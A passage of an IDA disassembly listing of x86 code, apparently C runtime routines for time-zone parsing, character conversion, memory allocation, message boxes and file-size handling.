		cmp	eax, 1
		jle	short loc_41E055
		cmp	[ebp+arg_8], eax
		jl	short loc_41E05F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_437F7C
		jnz	short loc_41DFF2


loc_41E055:				; CODE XREF: sub_41DFCD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E05F
		cmp	[esi+1], bl
		jnz	short loc_41DFF2


loc_41E05F:				; CODE XREF: sub_41DFCD+61j
					; sub_41DFCD+8Bj ...
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------


loc_41E06E:				; CODE XREF: sub_41DFCD+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E00C
		jmp	short loc_41E05F
sub_41DFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E095	proc near		; CODE XREF: sub_41AD3D+76p
					; sub_41AD3D+88p ...

arg_0		= dword	ptr  4

		cmp	dword_437F7C, 1
		jle	short loc_41E0AC
		push	8
		push	[esp+4+arg_0]
		call	sub_418556
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E0AC:				; CODE XREF: sub_41E095+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0C0	proc near		; CODE XREF: sub_41AD3D+797p
					; sub_41AD3D+7E7p
		cmp	cl, 40h
		jnb	short loc_41E0DA
		cmp	cl, 20h
		jnb	short loc_41E0D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0D0:				; CODE XREF: sub_41E0C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0DA:				; CODE XREF: sub_41E0C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0DF	proc near		; CODE XREF: sub_41B7B3+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E12B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0FD
		test	al, 80h
		jz	short loc_41E12B
		test	al, 2
		jnz	short loc_41E12B


loc_41E0FD:				; CODE XREF: sub_41E0DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E10A
		push	esi
		call	sub_41D06C
		pop	ecx


loc_41E10A:				; CODE XREF: sub_41E0DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E11A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E12B
		inc	eax
		mov	[esi], eax


loc_41E11A:				; CODE XREF: sub_41E0DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E131
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E137
		inc	eax
		mov	[esi], eax


loc_41E12B:				; CODE XREF: sub_41E0DF+9j
					; sub_41E0DF+18j ...
		or	eax, 0FFFFFFFFh


loc_41E12E:				; CODE XREF: sub_41E0DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E131:				; CODE XREF: sub_41E0DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E137:				; CODE XREF: sub_41E0DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E12E
sub_41E0DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E14D	proc near		; CODE XREF: sub_41B7EE:loc_41B82Dp
		cmp	dword_469750, 0
		jnz	short locret_41E161
		call	sub_41E162
		inc	dword_469750

locret_41E161:				; CODE XREF: sub_41E14D+7j
		retn
sub_41E14D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E162	proc near		; CODE XREF: sub_41E14D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_469698, ebp
		mov	dword_4387C8, ebx
		mov	dword_4387B8, ebx
		call	sub_41F409
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E28B
		push	offset dword_4696A0
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41E3BA
		mov	eax, dword_4696A0
		mov	ecx, dword_4696F4
		imul	eax, 3Ch
		cmp	word_4696E6, bp
		push	1
		pop	edx
		mov	dword_438720, eax
		mov	dword_469698, edx
		jz	short loc_41E1D9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_438720, eax


loc_41E1D9:				; CODE XREF: sub_41E162+69j
		cmp	word_46973A, bp
		jz	short loc_41E1FD
		mov	eax, dword_469748
		cmp	eax, ebp
		jz	short loc_41E1FD
		sub	eax, ecx
		mov	dword_438724, edx
		imul	eax, 3Ch
		mov	dword_438728, eax
		jmp	short loc_41E209
; ---------------------------------------------------------------------------


loc_41E1FD:				; CODE XREF: sub_41E162+7Ej
					; sub_41E162+87j
		mov	dword_438724, ebp
		mov	dword_438728, ebp


loc_41E209:				; CODE XREF: sub_41E162+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4387AC
		push	ebx
		push	offset dword_4696A4
		push	edi
		push	dword_469538
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41E246
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41E246
		mov	eax, off_4387AC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E24E
; ---------------------------------------------------------------------------


loc_41E246:				; CODE XREF: sub_41E162+D1j
					; sub_41E162+D7j
		mov	eax, off_4387AC
		and	byte ptr [eax],	0


loc_41E24E:				; CODE XREF: sub_41E162+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4387B0
		push	ebx
		push	offset dword_4696F8
		push	edi
		push	dword_469538
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41E3B2
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41E3B2
		mov	eax, off_4387B0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E3BA
; ---------------------------------------------------------------------------


loc_41E28B:				; CODE XREF: sub_41E162+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41E3BA
		mov	eax, dword_46974C
		cmp	eax, ebp
		jz	short loc_41E2AE
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E3BA


loc_41E2AE:				; CODE XREF: sub_41E162+139j
		push	dword_46974C
		call	sub_415E3D
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_46974C, eax
		jz	loc_41E3BA
		push	esi
		push	eax
		call	sub_415C00
		push	3
		push	esi
		push	off_4387AC
		call	sub_416D40
		mov	eax, off_4387AC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E303
		push	1
		inc	esi
		pop	edi


loc_41E303:				; CODE XREF: sub_41E162+19Bj
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_438720, ecx


loc_41E31A:				; CODE XREF: sub_41E162+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E328
		cmp	al, bl
		jl	short loc_41E32B
		cmp	al, 39h
		jg	short loc_41E32B


loc_41E328:				; CODE XREF: sub_41E162+1BCj
		inc	esi
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------


loc_41E32B:				; CODE XREF: sub_41E162+1C0j
					; sub_41E162+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_438720
		add	ecx, eax
		mov	dword_438720, ecx


loc_41E349:				; CODE XREF: sub_41E162+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E356
		cmp	al, 39h
		jg	short loc_41E356
		inc	esi
		jmp	short loc_41E349
; ---------------------------------------------------------------------------


loc_41E356:				; CODE XREF: sub_41E162+1EBj
					; sub_41E162+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	ecx, dword_438720
		add	ecx, eax
		mov	dword_438720, ecx


loc_41E371:				; CODE XREF: sub_41E162+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E37E
		cmp	al, 39h
		jg	short loc_41E37E
		inc	esi
		jmp	short loc_41E371
; ---------------------------------------------------------------------------


loc_41E37E:				; CODE XREF: sub_41E162+1CCj
					; sub_41E162+1F7j ...
		cmp	edi, ebp
		jz	short loc_41E38A
		neg	ecx
		mov	dword_438720, ecx


loc_41E38A:				; CODE XREF: sub_41E162+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_438724, eax
		jz	short loc_41E3B2
		push	3
		push	esi
		push	off_4387B0
		call	sub_416D40
		mov	eax, off_4387B0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E3BA
; ---------------------------------------------------------------------------


loc_41E3B2:				; CODE XREF: sub_41E162+10Bj
					; sub_41E162+115j ...
		mov	eax, off_4387B0
		and	byte ptr [eax],	0


loc_41E3BA:				; CODE XREF: sub_41E162+40j
					; sub_41E162+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41E162	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C0	proc near		; CODE XREF: sub_41B7EE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_438724, edi
		jnz	short loc_41E3D4


loc_41E3CD:				; CODE XREF: sub_41E3C0+148j
					; sub_41E3C0+150j ...
		xor	eax, eax
		jmp	loc_41E520
; ---------------------------------------------------------------------------


loc_41E3D4:				; CODE XREF: sub_41E3C0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4387B8
		jnz	short loc_41E3F2
		cmp	eax, dword_4387C8
		jz	loc_41E4F4


loc_41E3F2:				; CODE XREF: sub_41E3C0+24j
		cmp	dword_469698, edi
		jz	loc_41E4CA
		movzx	ecx, word_469746
		push	ecx
		cmp	word_469738, di
		movzx	ecx, word_469744
		push	ecx
		movzx	ecx, word_469742
		push	ecx
		movzx	ecx, word_469740
		push	ecx
		jnz	short loc_41E444
		movzx	ecx, word_46973C
		push	edi
		push	ecx
		movzx	ecx, word_46973E
		push	ecx
		movzx	ecx, word_46973A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E458
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E3C0+65j
		movzx	ecx, word_46973E
		push	ecx
		push	edi
		movzx	ecx, word_46973A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E458:				; CODE XREF: sub_41E3C0+82j
		push	ebx
		call	sub_41E56C
		movzx	eax, word_4696F2
		add	esp, 2Ch
		cmp	word_4696E4, di
		push	eax
		movzx	eax, word_4696F0
		push	eax
		movzx	eax, word_4696EE
		push	eax
		movzx	eax, word_4696EC
		push	eax
		jnz	short loc_41E4B2
		movzx	eax, word_4696E8
		push	edi
		push	eax
		movzx	eax, word_4696EA
		push	eax
		movzx	eax, word_4696E6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E4A7:				; CODE XREF: sub_41E3C0+108j
		push	edi
		call	sub_41E56C
		add	esp, 2Ch
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------


loc_41E4B2:				; CODE XREF: sub_41E3C0+C8j
		movzx	eax, word_4696EA
		push	eax
		push	edi
		movzx	eax, word_4696E6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------


loc_41E4CA:				; CODE XREF: sub_41E3C0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E56C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E56C
		add	esp, 58h


loc_41E4F4:				; CODE XREF: sub_41E3C0+2Cj
					; sub_41E3C0+F0j
		mov	edx, dword_4387BC
		mov	eax, dword_4387CC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E524
		cmp	ecx, edx
		jl	loc_41E3CD
		cmp	ecx, eax
		jg	loc_41E3CD
		cmp	ecx, edx
		jle	short loc_41E538
		cmp	ecx, eax
		jge	short loc_41E538


loc_41E51E:				; CODE XREF: sub_41E3C0+166j
					; sub_41E3C0+16Aj
		mov	eax, ebx


loc_41E520:				; CODE XREF: sub_41E3C0+Fj
					; sub_41E3C0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E524:				; CODE XREF: sub_41E3C0+144j
		cmp	ecx, eax
		jl	short loc_41E51E
		cmp	ecx, edx
		jg	short loc_41E51E
		cmp	ecx, eax
		jle	short loc_41E538
		cmp	ecx, edx
		jl	loc_41E3CD


loc_41E538:				; CODE XREF: sub_41E3C0+158j
					; sub_41E3C0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E55F
		xor	ecx, ecx
		cmp	eax, dword_4387C0
		setnl	cl


loc_41E55B:				; CODE XREF: sub_41E3C0+1AAj
		mov	eax, ecx
		jmp	short loc_41E520
; ---------------------------------------------------------------------------


loc_41E55F:				; CODE XREF: sub_41E3C0+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4387D0
		setl	cl
		jmp	short loc_41E55B
sub_41E3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E56C	proc near		; CODE XREF: sub_41E3C0+99p
					; sub_41E3C0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E607
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E597
		shl	esi, 2
		mov	eax, dword_4387D0[esi]
		jmp	short loc_41E5A0
; ---------------------------------------------------------------------------


loc_41E597:				; CODE XREF: sub_41E56C+1Ej
		shl	esi, 2
		mov	eax, dword_438804[esi]


loc_41E5A0:				; CODE XREF: sub_41E56C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5DA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5E4
; ---------------------------------------------------------------------------


loc_41E5DA:				; CODE XREF: sub_41E56C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E5E4:				; CODE XREF: sub_41E56C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E622
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5F8
		mov	esi, dword_4387D4[esi]
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------


loc_41E5F8:				; CODE XREF: sub_41E56C+82j
		mov	esi, dword_438808[esi]


loc_41E5FE:				; CODE XREF: sub_41E56C+8Aj
		cmp	ecx, esi
		jle	short loc_41E622
		sub	ecx, 7
		jmp	short loc_41E622
; ---------------------------------------------------------------------------


loc_41E607:				; CODE XREF: sub_41E56C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E618
		mov	ecx, dword_4387D0[eax*4]
		jmp	short loc_41E61F
; ---------------------------------------------------------------------------


loc_41E618:				; CODE XREF: sub_41E56C+A1j
		mov	ecx, dword_438804[eax*4]


loc_41E61F:				; CODE XREF: sub_41E56C+AAj
		add	ecx, [ebp+arg_18]


loc_41E622:				; CODE XREF: sub_41E56C+7Cj
					; sub_41E56C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E653
		mov	eax, [ebp+arg_1C]
		mov	dword_4387BC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4387B8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387C0, eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E653:				; CODE XREF: sub_41E56C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4387CC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_438728
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387D0, eax
		jns	short loc_41E68B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4387D0, eax
		jmp	short loc_41E69C
; ---------------------------------------------------------------------------


loc_41E68B:				; CODE XREF: sub_41E56C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E6A2
		sub	eax, edx
		inc	ecx
		mov	dword_4387D0, eax


loc_41E69C:				; CODE XREF: sub_41E56C+11Dj
		mov	dword_4387CC, ecx


loc_41E6A2:				; CODE XREF: sub_41E56C+126j
		mov	dword_4387C8, ebx


loc_41E6A8:				; CODE XREF: sub_41E56C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6AC	proc near		; CODE XREF: sub_41C7C2+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E6BD
		add	esp, 0Ch
		retn
sub_41E6AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6BD	proc near		; CODE XREF: sub_41E6AC+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_46A9E1[eax], cl
		jnz	short loc_41E6EA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6E3
		movzx	eax, word_437D7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6E5
; ---------------------------------------------------------------------------


loc_41E6E3:				; CODE XREF: sub_41E6BD+16j
		xor	eax, eax


loc_41E6E5:				; CODE XREF: sub_41E6BD+24j
		test	eax, eax
		jnz	short loc_41E6EA
		retn
; ---------------------------------------------------------------------------


loc_41E6EA:				; CODE XREF: sub_41E6BD+Fj
					; sub_41E6BD+2Aj
		push	1
		pop	eax
		retn
sub_41E6BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6EE	proc near		; CODE XREF: sub_41CF19+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_469754, ebx
		push	esi
		push	edi
		jnz	short loc_41E73D
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E773
		mov	esi, dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_469754, eax
		jz	short loc_41E773
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_469758, eax
		call	esi	; GetProcAddress
		mov	dword_46975C, eax


loc_41E73D:				; CODE XREF: sub_41E6EE+Bj
		mov	eax, dword_469758
		test	eax, eax
		jz	short loc_41E75C
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E75C
		mov	eax, dword_46975C
		test	eax, eax
		jz	short loc_41E75C
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41E75C:				; CODE XREF: sub_41E6EE+56j
					; sub_41E6EE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_469754	; MessageBoxA


loc_41E76F:				; CODE XREF: sub_41E6EE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E773:				; CODE XREF: sub_41E6EE+1Cj
					; sub_41E6EE+33j
		xor	eax, eax
		jmp	short loc_41E76F
sub_41E6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E777	proc near		; CODE XREF: sub_41D0D6+22p
					; sub_41D0D6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E797
		test	esi, esi
		jnz	short loc_41E791
		push	1
		pop	esi


loc_41E791:				; CODE XREF: sub_41E777+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41E797:				; CODE XREF: sub_41E777+11j
					; sub_41E777+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7C8
		cmp	ebx, dword_437F8C
		ja	short loc_41E7B3
		push	ebx
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7DE


loc_41E7B3:				; CODE XREF: sub_41E777+2Dj
		push	esi
		push	8
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7EA


loc_41E7C8:				; CODE XREF: sub_41E777+25j
		cmp	dword_4694F4, 0
		jz	short loc_41E7EA
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jz	short loc_41E7F0
		jmp	short loc_41E797
; ---------------------------------------------------------------------------


loc_41E7DE:				; CODE XREF: sub_41E777+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch


loc_41E7EA:				; CODE XREF: sub_41E777+4Fj
					; sub_41E777+58j
		mov	eax, edi


loc_41E7EC:				; CODE XREF: sub_41E777+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E7F0:				; CODE XREF: sub_41E777+63j
		xor	eax, eax
		jmp	short loc_41E7EC
sub_41E777	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D17B


loc_41E7F4:				; CODE XREF: sub_41D17B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_46A7A0, esi
		jle	short loc_41E847


loc_41E803:				; CODE XREF: sub_41D17B+16CAj
		mov	eax, dword_469780
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E83E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E822
		push	eax
		call	sub_415B40
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E822
		inc	edi


loc_41E822:				; CODE XREF: sub_41D17B+1698j
					; sub_41D17B+16A4j
		cmp	esi, 14h
		jl	short loc_41E83E
		mov	eax, dword_469780
		push	dword ptr [eax+esi*4]
		call	sub_415E3D
		mov	eax, dword_469780
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41E83E:				; CODE XREF: sub_41D17B+1692j
					; sub_41D17B+16AAj
		inc	esi
		cmp	esi, dword_46A7A0
		jl	short loc_41E803


loc_41E847:				; CODE XREF: sub_41D17B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D17B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E84C	proc near		; CODE XREF: sub_41D55A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_46A8C0
		jnb	loc_41E981
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E981
		push	1
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E98B
		push	2
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E98B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E92E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415570
		push	8000h
		push	ebx
		call	sub_41F486
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41E8E2:				; CODE XREF: sub_41E84C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8ED
		mov	eax, edi


loc_41E8ED:				; CODE XREF: sub_41E84C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E90B
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E921
		jmp	short loc_41E8E2
; ---------------------------------------------------------------------------


loc_41E90B:				; CODE XREF: sub_41E84C+B5j
		cmp	dword_469498, 5
		jnz	short loc_41E91E
		mov	dword_469494, 0Dh


loc_41E91E:				; CODE XREF: sub_41E84C+C6j
		or	esi, 0FFFFFFFFh


loc_41E921:				; CODE XREF: sub_41E84C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F486
		pop	ecx
		pop	ecx
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------


loc_41E92E:				; CODE XREF: sub_41E84C+71j
		jge	short loc_41E96E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB7F
		push	ebx
		call	sub_41D4C6
		add	esp, 10h
		push	eax
		call	dword_421010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E96E
		mov	dword_469494, 0Dh
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_469498, eax


loc_41E96E:				; CODE XREF: sub_41E84C+E0j
					; sub_41E84C:loc_41E92Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E98E
; ---------------------------------------------------------------------------


loc_41E981:				; CODE XREF: sub_41E84C+1Aj
					; sub_41E84C+36j
		mov	dword_469494, 9


loc_41E98B:				; CODE XREF: sub_41E84C+4Ej
					; sub_41E84C+63j
		or	eax, 0FFFFFFFFh


loc_41E98E:				; CODE XREF: sub_41E84C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E84C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E992	proc near		; CODE XREF: sub_41D9C5+2Bp
					; sub_41D9C5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E9A8
		cmp	ecx, esi
		jnb	short loc_41E9AB


loc_41E9A8:				; CODE XREF: sub_41E992+10j
		push	1
		pop	eax


loc_41E9AB:				; CODE XREF: sub_41E992+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E992	endp


; =============== S U B	R O U T	I N E =======================================



